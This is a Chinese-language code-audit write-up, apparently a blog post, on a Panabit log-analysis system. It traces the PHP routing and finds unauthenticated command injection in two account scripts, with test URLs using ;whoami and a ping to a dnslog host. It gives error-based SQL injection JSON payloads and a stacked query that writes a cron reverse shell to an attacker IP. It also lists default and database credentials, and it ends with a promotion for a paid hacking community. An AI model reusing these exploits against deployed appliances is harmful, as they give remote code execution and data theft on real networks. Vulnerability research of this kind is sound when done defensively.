安装环境
下载安装镜像https://bbs.panabit.com/thread-22651-1-1.html有完整的安装教程了选择镜像后系统可以选择FreeBSD 10的这个版本
虚拟机配置完成后启动,按照默认流程安装,根据自己情况配置一下网卡即可
安装好后访问ip https://192.166.13.111/
admin/panabit
ssh的账号密码都是root
找到站点源码
我们首先要看一下网络的监听这套系统是freebsd的,使用命令
sockstat -l
可以看见443端口是nginx启的,此时我们可以查看中间件的配置文件
# find / -name nginx.conf
/usr/local/etc/nginx/nginx.conf
/usr/local/etc/nginx_old/nginx.conf
# cat /usr/local/etc/nginx/nginx.conf
nginx的配置如下
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/etc/nginx/server.crt;
ssl_certificate_key /usr/local/etc/nginx/server.key;
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
ssl on;
location / {
root /usr/logd/www;
index index.php index.html index.thm;
}
location ~ \.php$ {
root /usr/logd/www;
fastcgi_pass 127.0.0.1:9000;
fastcgi_read_timeout 3600;
fastcgi_index index.php;
#fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
fastcgi_param SCRIPT_FILENAME /usr/logd/www/$fastcgi_script_name;
include fastcgi_params;
client_max_body_size 40m;
}
error_log /usr/logdata/www.log error;
}
}
可以看出这是一个php的网站,web的路径在 /usr/logd/www 中我们直接打包到本地
tar -zcvf /usr/logd/www.tar.gz /usr/logd/www
路由分析
上phpstorm看看源码,可以发现这套源码是没有MVC架构的,没有统一的入口,所有的文件都是入口。
MVC是Model-View-Controller的缩写,是一种软件设计典范,将业务逻辑、数据与界面显示分离的方法来组织代码。
MVC模式将应用程序分成三个核心部件:模型、视图、控制器。每个部件都处理自己的任务,达到减少编码的时间,提高代码复用性的目的。
来到登录页面追踪一下路由
可以追踪到 /cloud/api.php
<?php
require_once(__DIR__ . '/conf/config.php');
if(($page_file = route_api()) === false)
exit;
$page_file = ROOT_DIR . '/' . $page_file;
if(file_exists($page_file) === false)
json_error_exit(ERR_FAILURE, 'fail: not this api!');
require_once($page_file);
包含了config.php文件,里面又包含了多个文件,我们先不管它,这里直接追入route_api()函数
function route_api()
{
global $global_route_info;
return ROUTE_APPDIR . '/' . $global_route_info['app'] . '/api/' . $global_route_info['method'] . '.php';
}
结合常量的定义,拼接一下路径就是返回 apps/$global_route_info['app']/api/$global_route_info['method'].php即 apps/user/api/login.php
// 执行 | exec function
if(($user = logged()) === false)
$user = auth($_REQUEST);
// 结果输出 | printf result
if($user === false)
json_error_exit(ERR_FAILURE, '登陆失败!', (is_needverify()?1:0));
else
json_error_exit(ERR_OK, '', 'index.php');
可以看见登录相关的验证代码在 auth.php 中
追进函数得到了
function update_data($dbname, $data, $where)
{
global $nidb;$values = array();
$placeholder = '';
foreach($data as $key => $val) {
array_push($values, $val);
$placeholder = "$placeholder`$key` = ?, ";
}if($placeholder == '')
return false;
$placeholder = substr($placeholder, 0, -2);$where_str = '';
foreach($where as $key => $val) {
$where_str = "$where_str`$key` = ? and ";
array_push($values, $val);
}if($where_str != '')
$where_str = substr("where $where_str", 0, -5);return $nidb->prepare("update `$dbname` set $placeholder $where_str")->execute($values);
}
同时也看到了部分数据库的相关信息
if (defined('DB_HOST') == false)
define( 'DB_HOST', 'localhost:3306' );
if (defined('DB_USER') == false)
define( 'DB_USER', 'root' );
if (defined('DB_PASSWORD') == false)
define( 'DB_PASSWORD', '[email protected]' );
if (defined('DB_NAME') == false)
define( 'DB_NAME', 'palog' );
至此我们大致摸清了路由的走向
前台RCE
我们可以看见大部分代码中只是用了chksession函数来判断是否登录
function chksession()
{
//$lifeTime = 1800;
//setcookie(session_name(), session_id(), time() + $lifeTime, "/");$params = session_get_cookie_params();
setcookie("PHPSESSID", session_id(), 0, $params["path"], $params["domain"], true, true);$isok = 1;
if (!isset($_SESSION["palog_username"]) && !isset($_SESSION["cloud_username"]))
$isok = 0;session_write_close();
if (!$isok)
return false;return true;
}
验证的代码逻辑比较简短,看起来没什么可以bypass的点。因为该代码所有php文件都是入口,我们可以直接在所有php文件中检索不存在chksession调⽤,并包含风险函数的⽂件。
grep -r -L "chksession" /usr/logd/www --include="*.php" | xargs grep -E "exec\(|system\("
带有lib目录下的文件基本都是函数,可以直接略过,剩下的文件就不多了,一个个看过去可以看见前台的rce点
./account/sy_query.php:exec($cmd, $out, $ret);
./account/sy_addmount.php:exec($cmd, $out, $ret);
两个文件都是没有过滤直接拼接命令进行执行的
sy_addmount.php
<?phpinclude(dirname(__FILE__)."/../common.php");
$username = isset($_REQUEST["username"]) ? $_REQUEST["username"] : "";
if (empty($username)) {
echo '{"success":"no", "out":"NO_USER"}';
exit;
}$username = addslashes($username);
$rows = array();
$cmd = PANALOGEYE." behavior add account=$username";
exec($cmd, $out, $ret);
echo $out[0];
exit;
测试漏洞点
https://192.166.13.111/account/sy_addmount.php?username=;whoami
sy_query.php也是基本上相同的,只是输出是以json格式输出
<?phpinclude(dirname(__FILE__)."/../common.php");
$username = isset($_REQUEST["username"]) ? $_REQUEST["username"] : "";
if (empty($username)) {
echo '{"success":"no", "out":"NO_USER"}';
exit;
}$username = addslashes($username);
$rows = array();
$cmd = PANALOGEYE." behavior get shangyun_flow=1 account=$username";
exec($cmd, $out, $ret);
foreach($out as $val) {
$ds = explode(' ', $val);
$rows = array("user_name"=>$username, "used_amount"=>$ds[8], "left_amount"=>$ds[9], "success"=>true);
}echo json_encode($rows);
exit;
https://192.166.13.111/account/sy_query.php?username=|ping%20xbgocv.dnslog.cn
鸡肋的前台注入
一般后台会比前台有更多rce的点,我们如果能找到一个SQL注入,得到任意一个账号密码,就可以进入后台尝试rce。
grep -r -L -E "chksession" /usr/logd/www --include="*.php" | xargs grep -E "mysql_query\("
注入点尝试,比如
https://192.166.13.112/singlelogin.php
https://192.166.13.112/Maintain/iwan/lib/task/mgd/api/rmv.php
https://192.166.13.112/singleuser_action.php
可以看到singlelogin.php中我们的传参被addslashes过滤了
if (!isset($_REQUEST["userId"])) exit;
$userid = addslashes($_REQUEST["userId"]);if (($conn = my_mysql_connect()) == false) {
outputres("no", "数据库连接失败,请使用top命令检查进程mysqld是否正常运行");
exit;
}$sql = "SELECT user_name from palog.singleuser where user_id='$userid'";
if (($result = mysql_query($sql)) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}
该输入点的输入经过addslashes()函数后直接拼接到数据库
但是由于是utf8编码,又没有编码转换,目前无法bypass,这里就作罢了
/Maintain/iwan/lib/task/mgd/api/rmv.php同样也存在可控的输入点拼接到数据库语句中执行,只是我们的传参经过 intval($_REQUEST['taskid']) 后就不能成为一个数据库语句了
<?php
session_start();
set_time_limit(0);define('REQUEST_TYPE', basename(dirname(__FILE__)));
include(dirname(dirname(dirname(dirname(__FILE__)))) . "/auth-" . REQUEST_TYPE . ".php");session_write_close();
function rmv_data($taskid)
{
if ($_SESSION["cloud_username"] != "admin") {
last_err('您的权限不足');
return 0;
}$cmd = "delete from control_platform.ctr_task where `taskid` = $taskid";
$conn = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS);
if (!$conn) {
last_err('数据库连接失败!');
return 0;
}$count = 0;
if (($result = mysql_query($cmd)) !== false) {
mysql_free_result($result);
$count = mysql_affected_rows();
}mysql_close($conn);
return $count;
}if(isset($_REQUEST['taskid']) && ($taskid = intval($_REQUEST['taskid'])) > 0) {
$ret = rmv_data($taskid);
if($ret > 0) {
echo '{"ret": 0, "data": 0, "msg": ""}';
exit;
}
}echo '{"ret": 1, "data": 0, "msg": "删除失败。' . last_err() . '"}';
继续往下看到singleuser_action.php
<?php
include "common.php";$userinfo = file_get_contents('php://input');
if (empty($userinfo)) {
outputres("no", "NO_USERINFO");
exit;
}$json = json_decode($userinfo);
$operation_type = $json->syncInfo->operationType;if (($conn = my_mysql_connect()) == false) {
outputres("no", "MYSQL_CONNECT_ERROR");
exit;
}$sql = $sql2 = "";
/*
* 创建singleuser表
*/
if ($operation_type == "ADD_USER" || $operation_type == "UPDATE_USER" ||
$operation_type == "DELETE_USER") {
$sql = "create table if not exists palog.singleuser(".
"id int not null auto_increment primary key, ".
"user_id VARCHAR(32) NOT NULL DEFAULT '',".
"account_status varchar(8) not null default '',".
"user_name VARCHAR(200) NOT NULL DEFAULT '',".
"user_pwd varchar(64) NOT NULL DEFAULT '',".
"user_sex varchar(2) NOT NULL DEFAULT '',".
"user_birthday varchar(19) NOT NULL DEFAULT '',".
"user_post varchar(50) NOT NULL DEFAULT '',".
"user_rank varchar(50) NOT NULL DEFAULT '',".
"user_phone varchar(50) NOT NULL DEFAULT '',".
"user_mobilephone varchar(50) NOT NULL DEFAULT '',".
"user_mailaddress varchar(50) NOT NULL DEFAULT '',".
"user_ca varchar(4000) NOT NULL DEFAULT '',".
"user_class varchar(32) NOT NULL DEFAULT '',".
"parent_id varchar(30) NOT NULL DEFAULT '',".
"employee_id varchar(30) NOT NULL DEFAULT '',".
"department_id varchar(30) NOT NULL DEFAULT '',".
"coporation_id varchar(30) NOT NULL DEFAULT '',".
"user_duty varchar(200) NOT NULL DEFAULT '',".
"user_postcode varchar(50) NOT NULL DEFAULT '',".
"user_alias varchar(100) NOT NULL DEFAULT '',".
"user_homeaddress varchar(200) NOT NULL DEFAULT '',".
"user_msn varchar(50) NOT NULL DEFAULT '',".
"user_nt varchar(256) NOT NULL DEFAULT '',".
"bxlx varchar(10) NOT NULL DEFAULT ''".
")ENGINE=MyISAM default charset=utf8";
if (mysql_query($sql) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}$user_id = $json->syncInfo->user->userId;
$user_name = $json->syncInfo->user->userName;
$employee_id= $json->syncInfo->user->employeeId;
$department_id = $json->syncInfo->user->departmentId;
$department_name = $json->syncInfo->user->departmentName;
$coporation_id = $json->syncInfo->user->coporationId;
$corporation_name = $json->syncInfo->user->corporationName;
$user_sex = $json->syncInfo->user->userSex;
$user_duty = $json->syncInfo->user->userDuty;
$user_birthday = $json->syncInfo->user->userBirthday;
$user_post = $json->syncInfo->user->userPost;
$user_postCode = $json->syncInfo->user->userPostCode;
$user_alias = $json->syncInfo->user->userAlias;
$user_rank = $json->syncInfo->user->userRank;
$user_phone = $json->syncInfo->user->userPhone;
$user_homeaddress = $json->syncInfo->user->userHomeAddress;
$user_mobilephone = $json->syncInfo->user->userMobilePhone;
$user_mailaddress = $json->syncInfo->user->userMailAddress;
$user_msn = $json->syncInfo->user->userMSN;
$user_nt = $json->syncInfo->user->userNt;
$user_ca = $json->syncInfo->user->userCA;
$user_pwd = $json->syncInfo->user->userPwd;
$user_class = $json->syncInfo->user->userClass;
$parent_id = $json->syncInfo->user->parentId;
$bxlx = $json->syncInfo->user->bxlx;switch($operation_type) {
case "ADD_USER":
$sql = "insert into palog.singleuser(user_id, user_name, user_pwd, account_status, user_sex, user_birthday, user_post, user_rank, user_phone, user_mobilephone, user_mailaddress, user_ca, user_class, parent_id, employee_id, department_id, coporation_id, user_duty, user_postcode, user_alias, user_homeaddress, user_msn, user_nt, bxlx) values('$user_id', '$user_name', '$user_pwd', '$account_status', '$user_sex', '$user_birthday', '$user_post', '$user_rank', '$user_phone', '$user_mobilephone', '$user_mailaddress', '$user_ca', '$user_class', '$parent_id', '$employee_id', '$department_id', '$coporation_id', '$user_duty', '$user_postcode', '$user_alias', '$user_homeaddress', '$user_msn', '$user_nt', '$bxlx')";
$sql2 = "insert into palog.users(username, password, mod_1)values('$user_id', '$user_pwd', 'Y')";
break;case "DELETE_USER":
$sql = "delete from palog.singleuser where user_id='$user_id'";
$sql2 = "delete from palog.users where username='$user_id'";
break;case "UPDATE_USER":
$sql = "update palog.singleuser set user_name='$user_name', user_pwd='$user_pwd', account_status='$account_status', user_sex='$user_sex', user_birthday='$user_birthday', user_post='$user_post', user_rank='$user_rank', user_phone='$user_phone', user_mobilephone='$user_mobilephone', user_mailaddress='$user_mailaddress', user_ca='$user_ca', user_class='$user_class', parent_id='$parent_id', employee_id='$employee_id', department_id='$department_id', coporation_id='$coporation_id', user_duty='$user_duty', user_postcode='$user_postcode', user_alias='$user_alias', user_homeaddress='$user_homeaddress', user_msn='$user_msn', user_nt='$user_nt', bxlx='$bxlx' where user_id='$user_id'";
break;
}
}
else
if ($operation_type == "ADD_ORGAN" || $operation_type == "DELETE_ORGAN" ||
$operation_type == "UPDATE_ORGAN" || $operation_type == "MERGE_ORGAN") {
/*
* 创建表
*/
$sql = "create table if not exists palog.single_organ(id int auto_increment primary key, organ_id varchar(30) not null default '', organ_name varchar(80) not null default '', organ_type varchar(32) not null default '', parent_id varchar(30) not null default '', stru_id varchar(50) not null default '', stru_type varchar(32) not null default '', stru_path varchar(64) not null default '', department_id varchar(30) not null default '', department_name varchar(80) not null default '', coporation_id varchar(30) not null default '', corporation_name varchar(80) not null default '', is_use char(1) not null default '1', is_leaf varchar(1) not null default '')ENGINE=MyISAM DEFAULT charset=utf8";
if (mysql_query($sql) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}$stru_id = $json->syncInfo->stru->struId;
$organ_id = $json->syncInfo->stru->organId;
$stru_type = $json->syncInfo->stru->struType;
$parent_id = $json->syncInfo->stru->parentId;
$stru_path = $json->syncInfo->stru->struPath;
$organ_code = $json->syncInfo->stru->organCode;
$organ_name = $json->syncInfo->stru->organName;
$organ_type = $json->syncInfo->stru->organType;
$department_id = $json->syncInfo->stru->departmentId;
$department_name = $json->syncInfo->stru->departmentName;
$corporation_name = $json->syncInfo->stru->corporationName;
$is_leaf = $json->syncInfo->stru->isLeaf;
$is_use = $json->syncInfo->stru->isUse;switch($operation_type) {
case "ADD_ORGAN":
$sql = "insert into palog.single_organ(organ_id, organ_name, organ_type, parent_id, stru_id, stru_type, stru_path, department_id, department_name, coporation_id, corporation_name, is_use, is_leaf) values('$organ_id', '$organ_name', '$organ_type', '$parent_id', '$stru_id', '$stru_type', '$stru_path', '$department_id', '$department_name', '$coporation_id', '$corporation_name', '$is_use', '$is_leaf')";
break;case "DELETE_ORGAN":
$sql = "delete from palog.single_organ where organ_id='$organ_id'";
break;case "UPDATE_ORGAN":
$sql = "update palog.single_organ set organ_name='$organ_name', organ_type='$organ_type', stru_id='$stru_id', stru_type='$stru_type', stru_path='$stru_path', department_id='$department_id', department_name='$department_name', coporation_id='$coporation_id', corporation_name='$corporation_name' where organ_id='$organ_id'";
break;case "MERGE_ORGAN":
break;default:
outputres("no", "NO_ACTION");
mysql_close();
exit;
}
}
else {
mysql_close();
outputres("no", "NO_OPERATION_TYPE");
exit;
}if (mysql_query($sql) == false) {
outputres("no", mysql_error());
mysql_close();
exit;
}if ($sql2 != "")
mysql_query($sql2);mysql_close();
outputres("yes", "OK");
exit;
看代码流程,可以知道$userinfo = file_get_contents('php://input');
我们可以用POST的方式去定义userinfo这个参数,参数被json解码并赋值
我们只要控制$operation_type走入"DELETE_ORGAN"的流程,在$organ_id定义sql语句即可
根据代码流程,写出poc
{"syncInfo":{"operationType":"DELETE_ORGAN","stru":{"organId":"-1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#"}}}
爆出数据库名
{"syncInfo":{"operationType":"DELETE_ORGAN","stru":{"organId":"-1' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='palog' limit 0,1),0x7e)))#"}}}
查询发现web后台的账号密码不在axp中
phpuser用户访问爆不存在palog.users表,所以我们没办法注入出web登录用户的口令
那么为什么它能验证账号密码呢?实际上,这个表并不是用户认证用的,甚至都不存在
我们要的口令在palog.cloud_user里面,root用户访问数据库测试可以发现
palog.cloud_user里面有我们要的口令,但是phpuser这个数据库用户并没有权限访问。从前面的路由分析中也可以发现这个数据表才是认证数据库时使用的
其他利用方式?
网站没有设置secure_file_priv的值,数据库允许我们写入文件到任何地方,我们可以直接写入webshell或者计划任务。只是数据库的特性导致不能覆盖原文件写入。
mysql> show VARIABLES like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | ON |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.16 sec)mysql>
我们的写入计划任务的语句理想状态下
delete from palog.single_organ where organ_id='-1';SELECT '* * * * * sh -i >& /dev/tcp/192.166.13.169/9001 0>&1' INTO OUTFILE '/etc/cron.d/task';
在数据库中也确实成功了
然而在url中执行
动态调试中我们的语句又是正常的
大概是json赋值的时候产生的问题
然鹅默认情况下,该系统不开启计划任务,所以实际上这条路是走不通的
若能解决 / 转义的问题,倒是能进行写入webshell的操作
官网升级包 https://download.panabit.com:8443/json/system/api.php?action=download&type=common_file&md5=7f7471345e8fde56137767275c3079ab
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读